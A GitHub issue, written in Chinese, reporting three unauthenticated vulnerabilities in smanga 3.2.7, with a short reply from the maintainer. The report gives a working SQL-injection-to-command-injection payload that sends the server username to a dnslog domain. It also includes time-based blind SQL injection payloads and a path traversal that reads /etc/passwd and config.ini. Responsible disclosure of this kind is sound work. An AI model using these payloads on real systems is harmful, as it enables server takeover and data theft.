Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

3个高危漏洞 #100

Open
tdragon6 opened this issue Jun 7, 2023 · 1 comment
Open

3个高危漏洞 #100

tdragon6 opened this issue Jun 7, 2023 · 1 comment

Comments

@tdragon6
Copy link

tdragon6 commented Jun 7, 2023

测试环境说明

  • 版本:3.2.7(最新版)
  • 环境:docker

docker搭建所使用的命令:

docker run -itd --name smanga \
-p 3333:3306 \
-p 8097:80 \
-v /mnt:/mnt \
-v /route/smanga:/data \
-v /route/compress:/compress \
lkw199711/smanga;

1、未授权远程代码执行

  • 漏洞描述

/php/manga/delete.php接口处存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。

Payload:

mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
  • 漏洞复现

payload中触发RCE的是第5个联合查询项,执行命令会先获取服务器用户名并携带用户名信息往dnslog域名发送icmp包,测试成功收到dnslog记录,且获取回显信息。

image image
  • 漏洞原理
    payload中通过sql联合查询拼接自己构造的查询项,构造第5个查询项为命令注入点,即mangaPath的值,程序中删除逻辑没有对参数进行过滤,直接使用rm -rf拼接mangaPath删除,造成了命令注入。
image

其中拼接sql语句的select方法中使用where方法将每个条件进行and分割,干扰了正常union查询的构造,所以不使用逗号,而使用join的形式绕过。

image

2、未授权SQL注入

  • 漏洞描述

补充说明:类似的位置还有很多,均是没有对参数点进行过滤,造成多种类型的SQL注入,修复时可参考一并修复。

php/history/add.php接口处没有对mediaId、mangaId和userId三个参数进行过滤,导致拼接任意sql命令,造成sql注入,未授权的攻击者可获取数据库权限。

  • 漏洞复现

使用基于时间的盲注测试mediaId接口。
构造Payload分别为sleep 6秒和3秒,成功满足预期效果。

if(now()=sysdate()%2Csleep(3)%2C0)
image
if(now()=sysdate()%2Csleep(6)%2C0)
image

使用sqlmap利用测试,成功获取数据库名:

image
  • 漏洞原理

sql语句查询没有对接收的参数进行过滤。

3、未授权任意文件读取

  • 漏洞描述

/php/get-file-flow.php接口处file参数没有进行过滤,存在路径遍历,造成任意文件读取漏洞,未授权的攻击者可读取配置文件。

  • 漏洞复现

尝试读取/etc/passwd

image

尝试读取config.ini

image
  • 漏洞原理

没有对file参数进行过滤,导致任意文件读取。

@lkw199711
Copy link
Owner

感谢提交,目前接口只认证userid,后续会增强安全流程.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants